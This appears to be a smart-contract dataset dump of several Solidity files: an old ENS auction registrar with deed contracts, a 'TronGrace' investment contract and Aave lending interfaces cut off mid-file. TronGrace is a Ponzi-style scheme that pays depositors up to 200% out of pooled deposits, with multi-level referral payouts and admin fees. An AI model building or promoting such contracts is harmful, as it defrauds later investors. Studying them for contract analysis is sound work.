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6a9408508a8bf20ca2df72ca8dd3562e68df593df226282de96bdb782a9f91fa
| 16,863 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x012233b3c8177f0778d910ed88170b82de3bfe57.sol
| 3,096 | 11,678 |
pragma solidity ^0.4.0;
contract AbstractENS {
function owner(bytes32 node) constant returns(address);
function resolver(bytes32 node) constant returns(address);
function ttl(bytes32 node) constant returns(uint64);
function setOwner(bytes32 node, address owner);
function setSubnodeOwner(bytes32 node, bytes32 label, address owner);
function setResolver(bytes32 node, address resolver);
function setTTL(bytes32 node, uint64 ttl);
event Transfer(bytes32 indexed node, address owner);
event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner);
event NewResolver(bytes32 indexed node, address resolver);
event NewTTL(bytes32 indexed node, uint64 ttl);
}
contract Deed {
address public registrar;
address constant burn = 0xdead;
uint public creationDate;
address public owner;
address public previousOwner;
uint public value;
event OwnerChanged(address newOwner);
event DeedClosed();
bool active;
modifier onlyRegistrar {
if (msg.sender != registrar) throw;
_;
}
modifier onlyActive {
if (!active) throw;
_;
}
function Deed(uint _value) {
registrar = msg.sender;
creationDate = now;
active = true;
value = _value;
}
function setOwner(address newOwner) onlyRegistrar {
// so contracts can check who sent them the ownership
previousOwner = owner;
owner = newOwner;
OwnerChanged(newOwner);
}
function setRegistrar(address newRegistrar) onlyRegistrar {
registrar = newRegistrar;
}
function setBalance(uint newValue) onlyRegistrar onlyActive payable {
// Check if it has enough balance to set the value
if (value < newValue) throw;
value = newValue;
// Send the difference to the owner
if (!owner.send(this.balance - newValue)) throw;
}
function closeDeed(uint refundRatio) onlyRegistrar onlyActive {
active = false;
if (! burn.send(((1000 - refundRatio) * this.balance)/1000)) throw;
DeedClosed();
destroyDeed();
}
function destroyDeed() {
if (active) throw;
if(owner.send(this.balance))
selfdestruct(burn);
}
// The default function just receives an amount
function () payable {}
}
contract Registrar {
AbstractENS public ens;
bytes32 public rootNode;
mapping (bytes32 => entry) _entries;
mapping (address => mapping(bytes32 => Deed)) public sealedBids;
enum Mode { Open, Auction, Owned, Forbidden, Reveal }
uint32 constant auctionLength = 5 days;
uint32 constant revealPeriod = 48 hours;
uint32 constant initialAuctionPeriod = 4 weeks;
uint constant minPrice = 0.01 ether;
uint public registryStarted;
event AuctionStarted(bytes32 indexed hash, uint registrationDate);
event NewBid(bytes32 indexed hash, address indexed bidder, uint deposit);
event BidRevealed(bytes32 indexed hash, address indexed owner, uint value, uint8 status);
event HashRegistered(bytes32 indexed hash, address indexed owner, uint value, uint registrationDate);
event HashReleased(bytes32 indexed hash, uint value);
event HashInvalidated(bytes32 indexed hash, string indexed name, uint value, uint registrationDate);
struct entry {
Deed deed;
uint registrationDate;
uint value;
uint highestBid;
}
// State transitions for names:
// Open -> Auction (startAuction)
// Auction -> Reveal
// Reveal -> Owned
// Reveal -> Open (if nobody bid)
// Owned -> Forbidden (invalidateName)
// Owned -> Open (releaseDeed)
function state(bytes32 _hash) constant returns (Mode) {
var entry = _entries[_hash];
if(now < entry.registrationDate) {
if(now < entry.registrationDate - revealPeriod) {
return Mode.Auction;
} else {
return Mode.Reveal;
}
} else {
if(entry.highestBid == 0) {
return Mode.Open;
} else if(entry.deed == Deed(0)) {
return Mode.Forbidden;
} else {
return Mode.Owned;
}
}
}
modifier inState(bytes32 _hash, Mode _state) {
if(state(_hash) != _state) throw;
_;
}
modifier onlyOwner(bytes32 _hash) {
if (state(_hash) != Mode.Owned || msg.sender != _entries[_hash].deed.owner()) throw;
_;
}
modifier registryOpen() {
if(now < registryStarted || now > registryStarted + 4 years) throw;
_;
}
function entries(bytes32 _hash) constant returns (Mode, address, uint, uint, uint) {
entry h = _entries[_hash];
return (state(_hash), h.deed, h.registrationDate, h.value, h.highestBid);
}
function Registrar(address _ens, bytes32 _rootNode, uint _startDate) {
ens = AbstractENS(_ens);
rootNode = _rootNode;
registryStarted = _startDate > 0 ? _startDate : now;
}
function max(uint a, uint b) internal constant returns (uint max) {
if (a > b)
return a;
else
return b;
}
function min(uint a, uint b) internal constant returns (uint min) {
if (a < b)
return a;
else
return b;
}
function strlen(string s) internal constant returns (uint) {
// Starting here means the LSB will be the byte we care about
uint ptr;
uint end;
assembly {
ptr := add(s, 1)
end := add(mload(s), ptr)
}
for (uint len = 0; ptr < end; len++) {
uint8 b;
assembly { b := and(mload(ptr), 0xFF) }
if (b < 0x80) {
ptr += 1;
} else if(b < 0xE0) {
ptr += 2;
} else if(b < 0xF0) {
ptr += 3;
} else if(b < 0xF8) {
ptr += 4;
} else if(b < 0xFC) {
ptr += 5;
} else {
ptr += 6;
}
}
return len;
}
function startAuction(bytes32 _hash) inState(_hash, Mode.Open) registryOpen() {
entry newAuction = _entries[_hash];
// for the first month of the registry, make longer auctions
newAuction.registrationDate = max(now + auctionLength, registryStarted + initialAuctionPeriod);
newAuction.value = 0;
newAuction.highestBid = 0;
AuctionStarted(_hash, newAuction.registrationDate);
}
function startAuctions(bytes32[] _hashes) {
for (uint i = 0; i < _hashes.length; i ++) {
startAuction(_hashes[i]);
}
}
function shaBid(bytes32 hash, address owner, uint value, bytes32 salt) constant returns (bytes32 sealedBid) {
return sha3(hash, owner, value, salt);
}
function newBid(bytes32 sealedBid) payable {
if (address(sealedBids[msg.sender][sealedBid]) > 0) throw;
if (msg.value < minPrice) throw;
// creates a new hash contract with the owner
Deed newBid = new Deed(msg.value);
sealedBids[msg.sender][sealedBid] = newBid;
NewBid(sealedBid, msg.sender, msg.value);
if (!newBid.send(msg.value)) throw;
}
function unsealBid(bytes32 _hash, address _owner, uint _value, bytes32 _salt) {
bytes32 seal = shaBid(_hash, _owner, _value, _salt);
Deed bid = sealedBids[msg.sender][seal];
if (address(bid) == 0) throw;
sealedBids[msg.sender][seal] = Deed(0);
bid.setOwner(_owner);
entry h = _entries[_hash];
uint actualValue = min(_value, bid.value());
bid.setBalance(actualValue);
var auctionState = state(_hash);
if(auctionState == Mode.Owned) {
// Too late! Bidder loses their bid. Get's 0.5% back.
bid.closeDeed(5);
BidRevealed(_hash, _owner, actualValue, 1);
} else if(auctionState != Mode.Reveal) {
// Invalid phase
throw;
} else if (_value < minPrice) {
// Bid too low, refund 99.5%
bid.closeDeed(995);
BidRevealed(_hash, _owner, actualValue, 0);
} else if (_value > h.highestBid) {
// new winner
// cancel the other bid, refund 99.5%
if(address(h.deed) != 0) {
Deed previousWinner = h.deed;
previousWinner.closeDeed(995);
}
// set new winner
// per the rules of a vickery auction, the value becomes the previous highestBid
h.value = h.highestBid;
h.highestBid = actualValue;
h.deed = bid;
BidRevealed(_hash, _owner, actualValue, 2);
} else if (_value > h.value) {
// not winner, but affects second place
h.value = actualValue;
bid.closeDeed(995);
BidRevealed(_hash, _owner, actualValue, 3);
} else {
// bid doesn't affect auction
bid.closeDeed(995);
BidRevealed(_hash, _owner, actualValue, 4);
}
}
function cancelBid(address bidder, bytes32 seal) {
Deed bid = sealedBids[bidder][seal];
// If the bid hasn't been revealed after any possible auction date, then close it
if (address(bid) == 0
|| now < bid.creationDate() + initialAuctionPeriod
|| bid.owner() > 0) throw;
// Send the canceller 0.5% of the bid, and burn the rest.
bid.setOwner(msg.sender);
bid.closeDeed(5);
sealedBids[bidder][seal] = Deed(0);
BidRevealed(seal, bidder, 0, 5);
}
function finalizeAuction(bytes32 _hash) onlyOwner(_hash) {
entry h = _entries[_hash];
h.value = max(h.value, minPrice);
// Assign the owner in ENS
ens.setSubnodeOwner(rootNode, _hash, h.deed.owner());
Deed deedContract = h.deed;
deedContract.setBalance(h.value);
HashRegistered(_hash, deedContract.owner(), h.value, h.registrationDate);
}
function transfer(bytes32 _hash, address newOwner) onlyOwner(_hash) {
entry h = _entries[_hash];
h.deed.setOwner(newOwner);
ens.setSubnodeOwner(rootNode, _hash, newOwner);
}
function releaseDeed(bytes32 _hash) onlyOwner(_hash) {
entry h = _entries[_hash];
Deed deedContract = h.deed;
if (now < h.registrationDate + 1 years
|| now > registryStarted + 8 years) throw;
HashReleased(_hash, h.value);
h.value = 0;
h.highestBid = 0;
h.deed = Deed(0);
ens.setSubnodeOwner(rootNode, _hash, 0);
deedContract.closeDeed(1000);
}
function invalidateName(string unhashedName) inState(sha3(unhashedName), Mode.Owned) {
if (strlen(unhashedName) > 6) throw;
bytes32 hash = sha3(unhashedName);
entry h = _entries[hash];
ens.setSubnodeOwner(rootNode, hash, 0);
if(address(h.deed) != 0) {
// Reward the discoverer with 50% of the deed
// The previous owner gets nothing
h.deed.setBalance(h.deed.value()/2);
h.deed.setOwner(msg.sender);
h.deed.closeDeed(1000);
}
HashInvalidated(hash, unhashedName, h.value, h.registrationDate);
h.deed = Deed(0);
}
function transferRegistrars(bytes32 _hash) onlyOwner(_hash) {
var registrar = ens.owner(rootNode);
if(registrar == address(this))
throw;
entry h = _entries[_hash];
h.deed.setRegistrar(registrar);
}
}
| 176,358 | 10,900 |
898930be45ddbe2ca85cb358c4b7850c2fb70cd4de593029de4721dd30bbd7c0
| 19,389 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TQ/TQ1nzLrLhQauF5zZrJUy7SZHQr57P2Vo3d_TronGrace.sol
| 4,542 | 17,260 |
//SourceUnit: TronGrace.sol
pragma solidity 0.5.10;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
contract TronGrace {
using SafeMath for uint;
uint constant public DEPOSITS_MAX = 300;
uint constant public INVEST_MIN_AMOUNT = 100 trx;
uint constant public INVEST_MAX_AMOUNT = 4000000 trx;
uint constant public BASE_PERCENT = 100;
uint[] public REFERRAL_PERCENTS = [1000, 400, 200, 100, 100, 50, 50, 40, 30, 20, 10];
uint constant public MARKETING_FEE = 500;
uint constant public PROJECT_FEE = 500;
uint constant public ADMIN_FEE = 500;
uint constant public NETWORK = 500;
uint constant public MAX_CONTRACT_PERCENT = 100;
uint constant public MAX_LEADER_PERCENT = 50;
uint constant public MAX_HOLD_PERCENT = 100;
uint constant public MAX_COMMUNITY_PERCENT = 50;
uint constant public PERCENTS_DIVIDER = 10000;
uint constant public CONTRACT_BALANCE_STEP = 1000000000 trx;
uint constant public LEADER_BONUS_STEP = 1000000000 trx;
uint constant public COMMUNITY_BONUS_STEP = 10000000;
uint constant public TIME_STEP = 1 days;
uint public totalInvested;
address payable public marketingAddress;
address payable public projectAddress;
address payable public adminAddress;
address payable public networkAddress;
uint public totalDeposits;
uint public totalWithdrawn;
uint public contractPercent;
uint public contractCreationTime;
uint public totalRefBonus;
struct Deposit {
uint64 amount;
uint64 withdrawn;
// uint64 refback;
uint32 start;
}
struct User {
Deposit[] deposits;
uint32 checkpoint;
address referrer;
uint64 bonus;
uint24[11] refs;
// uint16 rbackPercent;
}
mapping (address => User) internal users;
mapping (uint => uint) internal turnover;
event Newbie(address user);
event NewDeposit(address indexed user, uint amount);
event Withdrawn(address indexed user, uint amount);
event RefBonus(address indexed referrer, address indexed referral, uint indexed level, uint amount);
event RefBack(address indexed referrer, address indexed referral, uint amount);
event FeePayed(address indexed user, uint totalAmount);
constructor(address payable marketingAddr, address payable projectAddr, address payable adminAddr, address payable networkAddr) public {
require(!isContract(marketingAddr) && !isContract(projectAddr));
marketingAddress = marketingAddr;
projectAddress = projectAddr;
adminAddress = adminAddr;
networkAddress = networkAddr;
contractCreationTime = block.timestamp;
contractPercent = getContractBalanceRate();
}
// function setRefback(uint16 rbackPercent) public {
// require(rbackPercent <= 10000);
// User storage user = users[msg.sender];
// if (user.deposits.length > 0) {
// user.rbackPercent = rbackPercent;
// }
// }
function getContractBalance() public view returns (uint) {
return address(this).balance;
}
function getContractBalanceRate() public view returns (uint) {
uint contractBalance = address(this).balance;
uint contractBalancePercent = BASE_PERCENT.add(contractBalance.div(CONTRACT_BALANCE_STEP).mul(20));
if (contractBalancePercent < BASE_PERCENT.add(MAX_CONTRACT_PERCENT)) {
return contractBalancePercent;
} else {
return BASE_PERCENT.add(MAX_CONTRACT_PERCENT);
}
}
function getLeaderBonusRate() public view returns (uint) {
uint leaderBonusPercent = totalRefBonus.div(LEADER_BONUS_STEP).mul(10);
if (leaderBonusPercent < MAX_LEADER_PERCENT) {
return leaderBonusPercent;
} else {
return MAX_LEADER_PERCENT;
}
}
function getCommunityBonusRate() public view returns (uint) {
uint communityBonusRate = totalDeposits.div(COMMUNITY_BONUS_STEP).mul(10);
if (communityBonusRate < MAX_COMMUNITY_PERCENT) {
return communityBonusRate;
} else {
return MAX_COMMUNITY_PERCENT;
}
}
function withdraw() public {
User storage user = users[msg.sender];
uint userPercentRate = getUserPercentRate(msg.sender);
uint communityBonus = getCommunityBonusRate();
uint leaderbonus = getLeaderBonusRate();
uint totalAmount;
uint dividends;
for (uint i = 0; i < user.deposits.length; i++) {
if (uint(user.deposits[i].withdrawn) < uint(user.deposits[i].amount).mul(2)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.deposits[i].start)))
.div(TIME_STEP);
} else {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.checkpoint)))
.div(TIME_STEP);
}
if (uint(user.deposits[i].withdrawn).add(dividends) > uint(user.deposits[i].amount).mul(2)) {
dividends = (uint(user.deposits[i].amount).mul(2)).sub(uint(user.deposits[i].withdrawn));
}
user.deposits[i].withdrawn = uint64(uint(user.deposits[i].withdrawn).add(dividends)); /// changing of storage data
totalAmount = totalAmount.add(dividends);
}
}
require(totalAmount > 0, "User has no dividends");
uint contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
// if (msgValue > availableLimit) {
// msg.sender.transfer(msgValue.sub(availableLimit));
// msgValue = availableLimit;
// }
// uint halfDayTurnover = turnover[getCurrentHalfDay()];
// uint halfDayLimit = getCurrentDayLimit();
// if (INVEST_MIN_AMOUNT.add(msgValue).add(halfDayTurnover) < halfDayLimit) {
// turnover[getCurrentHalfDay()] = halfDayTurnover.add(msgValue);
// } else {
// turnover[getCurrentHalfDay()] = halfDayLimit;
// }
user.checkpoint = uint32(block.timestamp);
msg.sender.transfer(totalAmount);
totalWithdrawn = totalWithdrawn.add(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function getUserPercentRate(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
if (isActive(userAddress)) {
uint timeMultiplier = (block.timestamp.sub(uint(user.checkpoint))).div(TIME_STEP.div(2)).mul(5);
if (timeMultiplier > MAX_HOLD_PERCENT) {
timeMultiplier = MAX_HOLD_PERCENT;
}
return contractPercent.add(timeMultiplier);
} else {
return contractPercent;
}
}
function getUserAvailable(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint userPercentRate = getUserPercentRate(userAddress);
uint communityBonus = getCommunityBonusRate();
uint leaderbonus = getLeaderBonusRate();
uint totalDividends;
uint dividends;
for (uint i = 0; i < user.deposits.length; i++) {
if (uint(user.deposits[i].withdrawn) < uint(user.deposits[i].amount).mul(2)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.deposits[i].start)))
.div(TIME_STEP);
} else {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.checkpoint)))
.div(TIME_STEP);
}
if (uint(user.deposits[i].withdrawn).add(dividends) > uint(user.deposits[i].amount).mul(2)) {
dividends = (uint(user.deposits[i].amount).mul(2)).sub(uint(user.deposits[i].withdrawn));
}
totalDividends = totalDividends.add(dividends);
/// no update of withdrawn because that is view function
}
}
return totalDividends;
}
function invest(address referrer) public payable {
require(!isContract(msg.sender) && msg.sender == tx.origin);
require(msg.value >= INVEST_MIN_AMOUNT && msg.value <= INVEST_MAX_AMOUNT, "Bad Deposit");
User storage user = users[msg.sender];
require(user.deposits.length < DEPOSITS_MAX, "Maximum 300 deposits from address");
// uint availableLimit = getCurrentHalfDayAvailable();
// require(availableLimit > 0, "Deposit limit exceed");
uint msgValue = msg.value;
// if (msgValue > availableLimit) {
// msg.sender.transfer(msgValue.sub(availableLimit));
// msgValue = availableLimit;
// }
// uint halfDayTurnover = turnover[getCurrentHalfDay()];
// uint halfDayLimit = getCurrentDayLimit();
// if (INVEST_MIN_AMOUNT.add(msgValue).add(halfDayTurnover) < halfDayLimit) {
// turnover[getCurrentHalfDay()] = halfDayTurnover.add(msgValue);
// } else {
// turnover[getCurrentHalfDay()] = halfDayLimit;
// }
uint marketingFee = msgValue.mul(MARKETING_FEE).div(PERCENTS_DIVIDER);
uint projectFee = msgValue.mul(PROJECT_FEE).div(PERCENTS_DIVIDER);
uint adminFee = msgValue.mul(ADMIN_FEE).div(PERCENTS_DIVIDER);
uint network = msgValue.mul(NETWORK).div(PERCENTS_DIVIDER);
marketingAddress.transfer(marketingFee);
projectAddress.transfer(projectFee);
adminAddress.transfer(adminFee);
networkAddress.transfer(network);
emit FeePayed(msg.sender, marketingFee.add(projectFee).add(network));
if (user.referrer == address(0) && users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
// else{
// user.referrer = adminAddress;
// }
// uint refbackAmount;
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint i = 0; i < 11; i++) {
if (upline != address(0)) {
uint amount = msgValue.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
// }
if (amount > 0) {
address(uint160(upline)).transfer(amount);
users[upline].bonus = uint64(uint(users[upline].bonus).add(amount));
totalRefBonus = totalRefBonus.add(amount);
emit RefBonus(upline, msg.sender, i, amount);
}
users[upline].refs[i]++;
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
user.checkpoint = uint32(block.timestamp);
emit Newbie(msg.sender);
}
user.deposits.push(Deposit(uint64(msgValue), 0, uint32(block.timestamp)));
totalInvested = totalInvested.add(msgValue);
totalDeposits++;
if (contractPercent < BASE_PERCENT.add(MAX_CONTRACT_PERCENT)) {
uint contractPercentNew = getContractBalanceRate();
if (contractPercentNew > contractPercent) {
contractPercent = contractPercentNew;
}
}
emit NewDeposit(msg.sender, msgValue);
}
function isActive(address userAddress) public view returns (bool) {
User storage user = users[userAddress];
return (user.deposits.length > 0) && uint(user.deposits[user.deposits.length-1].withdrawn) < uint(user.deposits[user.deposits.length-1].amount).mul(2);
}
function getUserAmountOfDeposits(address userAddress) public view returns (uint) {
return users[userAddress].deposits.length;
}
function getUserLastDeposit(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
return user.checkpoint;
}
function getUserTotalDeposits(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint amount;
for (uint i = 0; i < user.deposits.length; i++) {
amount = amount.add(uint(user.deposits[i].amount));
}
return amount;
}
function getUserTotalWithdrawn(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint amount = user.bonus;
for (uint i = 0; i < user.deposits.length; i++) {
amount = amount.add(uint(user.deposits[i].withdrawn));
}
return amount;
}
function getCurrentHalfDay() public view returns (uint) {
return (block.timestamp.sub(contractCreationTime)).div(TIME_STEP.div(2));
}
// function getCurrentDayLimit() public view returns (uint) {
// uint limit;
// uint currentDay = (block.timestamp.sub(contractCreation)).div(TIME_STEP);
// if (currentDay == 0) {
// limit = DAY_LIMIT_STEPS[0];
// } else if (currentDay == 1) {
// limit = DAY_LIMIT_STEPS[1];
// } else if (currentDay >= 2 && currentDay <= 5) {
// limit = DAY_LIMIT_STEPS[1].mul(currentDay);
// } else if (currentDay >= 6 && currentDay <= 19) {
// limit = DAY_LIMIT_STEPS[2].mul(currentDay.sub(3));
// } else if (currentDay >= 20 && currentDay <= 49) {
// limit = DAY_LIMIT_STEPS[3].mul(currentDay.sub(11));
// } else if (currentDay >= 50) {
// limit = DAY_LIMIT_STEPS[4].mul(currentDay.sub(30));
// }
// return limit;
// }
function getCurrentHalfDayTurnover() public view returns (uint) {
return turnover[getCurrentHalfDay()];
}
// function getCurrentHalfDayAvailable() public view returns (uint) {
// return getCurrentDayLimit().sub(getCurrentHalfDayTurnover());
// }
function getUserDeposits(address userAddress, uint last, uint first) public view returns (uint[] memory, uint[] memory, uint[] memory, uint[] memory) {
User storage user = users[userAddress];
uint count = first.sub(last);
if (count > user.deposits.length) {
count = user.deposits.length;
}
uint[] memory amount = new uint[](count);
uint[] memory withdrawn = new uint[](count);
uint[] memory refback = new uint[](count);
uint[] memory start = new uint[](count);
uint index = 0;
for (uint i = first; i > last; i--) {
amount[index] = uint(user.deposits[i-1].amount);
withdrawn[index] = uint(user.deposits[i-1].withdrawn);
// refback[index] = uint(user.deposits[i-1].refback);
start[index] = uint(user.deposits[i-1].start);
index++;
}
return (amount, withdrawn, refback, start);
}
function getSiteStats() public view returns (uint, uint, uint, uint) {
return (totalInvested, totalDeposits, address(this).balance, contractPercent);
}
function getUserStats(address userAddress) public view returns (uint, uint, uint, uint, uint) {
uint userPerc = getUserPercentRate(userAddress);
uint userAvailable = getUserAvailable(userAddress);
uint userDepsTotal = getUserTotalDeposits(userAddress);
uint userDeposits = getUserAmountOfDeposits(userAddress);
uint userWithdrawn = getUserTotalWithdrawn(userAddress);
return (userPerc, userAvailable, userDepsTotal, userDeposits, userWithdrawn);
}
function getUserReferralsStats(address userAddress) public view returns (address, uint64, uint24[11] memory) {
User storage user = users[userAddress];
return (user.referrer, user.bonus, user.refs);
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
| 290,729 | 10,901 |
156b3a9a6bac5c7c26fa638a40e0696fed8f0c094c6658c1480c25aaca07d75d
| 16,928 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/MainnetASUsdAdapter.sol
| 3,521 | 13,863 |
// Verified using https://dapp.tools
// hevm: flattened sources of src/adapters/mainnet/mainnetASusdAdapter.sol
pragma solidity >0.4.13 >=0.4.23 >=0.5.0 <0.6.0 >=0.5.12 <0.6.0 >=0.5.15 <0.6.0;
////// lib/openzeppelin-contracts/src/contracts/token/ERC20/IERC20.sol
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
////// src/adapters/aaveResources/ILendingPool.sol
interface ILendingPool {
event Deposit(address indexed _reserve,
address indexed _user,
uint256 _amount,
uint16 indexed _referral,
uint256 _timestamp);
event RedeemUnderlying(address indexed _reserve,
address indexed _user,
uint256 _amount,
uint256 _timestamp);
event Borrow(address indexed _reserve,
address indexed _user,
uint256 _amount,
uint256 _borrowRateMode,
uint256 _borrowRate,
uint256 _originationFee,
uint256 _borrowBalanceIncrease,
uint16 indexed _referral,
uint256 _timestamp);
event Repay(address indexed _reserve,
address indexed _user,
address indexed _repayer,
uint256 _amountMinusFees,
uint256 _fees,
uint256 _borrowBalanceIncrease,
uint256 _timestamp);
event Swap(address indexed _reserve,
address indexed _user,
uint256 _newRateMode,
uint256 _newRate,
uint256 _borrowBalanceIncrease,
uint256 _timestamp);
event ReserveUsedAsCollateralEnabled(address indexed _reserve, address indexed _user);
event ReserveUsedAsCollateralDisabled(address indexed _reserve, address indexed _user);
event RebalanceStableBorrowRate(address indexed _reserve,
address indexed _user,
uint256 _newStableRate,
uint256 _borrowBalanceIncrease,
uint256 _timestamp);
event FlashLoan(address indexed _target,
address indexed _reserve,
uint256 _amount,
uint256 _totalFee,
uint256 _protocolFee,
uint256 _timestamp);
event OriginationFeeLiquidated(address indexed _collateral,
address indexed _reserve,
address indexed _user,
uint256 _feeLiquidated,
uint256 _liquidatedCollateralForFee,
uint256 _timestamp);
event LiquidationCall(address indexed _collateral,
address indexed _reserve,
address indexed _user,
uint256 _purchaseAmount,
uint256 _liquidatedCollateralAmount,
uint256 _accruedBorrowInterest,
address _liquidator,
bool _receiveAToken,
uint256 _timestamp);
function deposit(address _reserve, uint256 _amount, uint16 _referralCode) external payable;
function redeemUnderlying(address _reserve, address payable _user, uint256 _amount, uint256 _aTokenBalanceAfterRedeem) external;
function borrow(address _reserve, uint256 _amount, uint256 _interestRateMode, uint16 _referralCode) external;
function repay(address _reserve, uint256 _amount, address payable _onBehalfOf) external payable;
function swapBorrowRateMode(address _reserve) external;
function rebalanceStableBorrowRate(address _reserve, address _user) external;
function setUserUseReserveAsCollateral(address _reserve, bool _useAsCollateral) external;
function liquidationCall(address _collateral,
address _reserve,
address _user,
uint256 _purchaseAmount,
bool _receiveAToken) external payable;
function flashLoan(address _receiver, address _reserve, uint256 _amount, bytes calldata _params) external;
function getReserveConfigurationData(address _reserve)
external
view
returns (uint256 ltv,
uint256 liquidationThreshold,
uint256 liquidationBonus,
address interestRateStrategyAddress,
bool usageAsCollateralEnabled,
bool borrowingEnabled,
bool stableBorrowRateEnabled,
bool isActive);
function getReserveData(address _reserve)
external
view
returns (uint256 totalLiquidity,
uint256 availableLiquidity,
uint256 totalBorrowsStable,
uint256 totalBorrowsVariable,
uint256 liquidityRate,
uint256 variableBorrowRate,
uint256 stableBorrowRate,
uint256 averageStableBorrowRate,
uint256 utilizationRate,
uint256 liquidityIndex,
uint256 variableBorrowIndex,
address aTokenAddress,
uint40 lastUpdateTimestamp);
function getUserAccountData(address _user)
external
view
returns (uint256 totalLiquidityETH,
uint256 totalCollateralETH,
uint256 totalBorrowsETH,
uint256 totalFeesETH,
uint256 availableBorrowsETH,
uint256 currentLiquidationThreshold,
uint256 ltv,
uint256 healthFactor);
function getUserReserveData(address _reserve, address _user)
external
view
returns (uint256 currentATokenBalance,
uint256 currentBorrowBalance,
uint256 principalBorrowBalance,
uint256 borrowRateMode,
uint256 borrowRate,
uint256 liquidityRate,
uint256 originationFee,
uint256 variableBorrowIndex,
uint256 lastUpdateTimestamp,
bool usageAsCollateralEnabled);
function getReserves() external view returns (address[] memory);
}
////// src/adapters/aaveResources/ILendingPoolAddressesProvider.sol
interface ILendingPoolAddressesProvider {
function getLendingPool() external view returns (address);
function setLendingPoolImpl(address _pool) external;
function getLendingPoolCore() external view returns (address payable);
function setLendingPoolCoreImpl(address _lendingPoolCore) external;
function getLendingPoolConfigurator() external view returns (address);
function setLendingPoolConfiguratorImpl(address _configurator) external;
function getLendingPoolDataProvider() external view returns (address);
function setLendingPoolDataProviderImpl(address _provider) external;
function getLendingPoolParametersProvider() external view returns (address);
function setLendingPoolParametersProviderImpl(address _parametersProvider) external;
function getTokenDistributor() external view returns (address);
function setTokenDistributor(address _tokenDistributor) external;
function getFeeProvider() external view returns (address);
function setFeeProviderImpl(address _feeProvider) external;
function getLendingPoolLiquidationManager() external view returns (address);
function setLendingPoolLiquidationManager(address _manager) external;
function getLendingPoolManager() external view returns (address);
function setLendingPoolManager(address _lendingPoolManager) external;
function getPriceOracle() external view returns (address);
function setPriceOracle(address _priceOracle) external;
function getLendingRateOracle() external view returns (address);
function setLendingRateOracle(address _lendingRateOracle) external;
}
////// src/interfaces/IAToken.sol
interface IAToken {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Redeem(address indexed _from,
uint256 _value,
uint256 _fromBalanceIncrease,
uint256 _fromIndex);
event MintOnDeposit(address indexed _from,
uint256 _value,
uint256 _fromBalanceIncrease,
uint256 _fromIndex);
event BurnOnLiquidation(address indexed _from,
uint256 _value,
uint256 _fromBalanceIncrease,
uint256 _fromIndex);
event BalanceTransfer(address indexed _from,
address indexed _to,
uint256 _value,
uint256 _fromBalanceIncrease,
uint256 _toBalanceIncrease,
uint256 _fromIndex,
uint256 _toIndex);
event InterestStreamRedirected(address indexed _from,
address indexed _to,
uint256 _redirectedBalance,
uint256 _fromBalanceIncrease,
uint256 _fromIndex);
event RedirectedBalanceUpdated(address indexed _targetAddress,
uint256 _targetBalanceIncrease,
uint256 _targetIndex,
uint256 _redirectedBalanceAdded,
uint256 _redirectedBalanceRemoved);
event InterestRedirectionAllowanceChanged(address indexed _from,
address indexed _to);
function transfer(address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function redirectInterestStream(address _to) external;
function redirectInterestStreamOf(address _from, address _to) external;
function allowInterestRedirectionTo(address _to) external;
function redeem(uint256 _amount) external;
function balanceOf(address _user) external view returns(uint256);
function principalBalanceOf(address _user) external view returns(uint256);
function totalSupply() external view returns(uint256);
function isTransferAllowed(address _user, uint256 _amount) external view returns (bool);
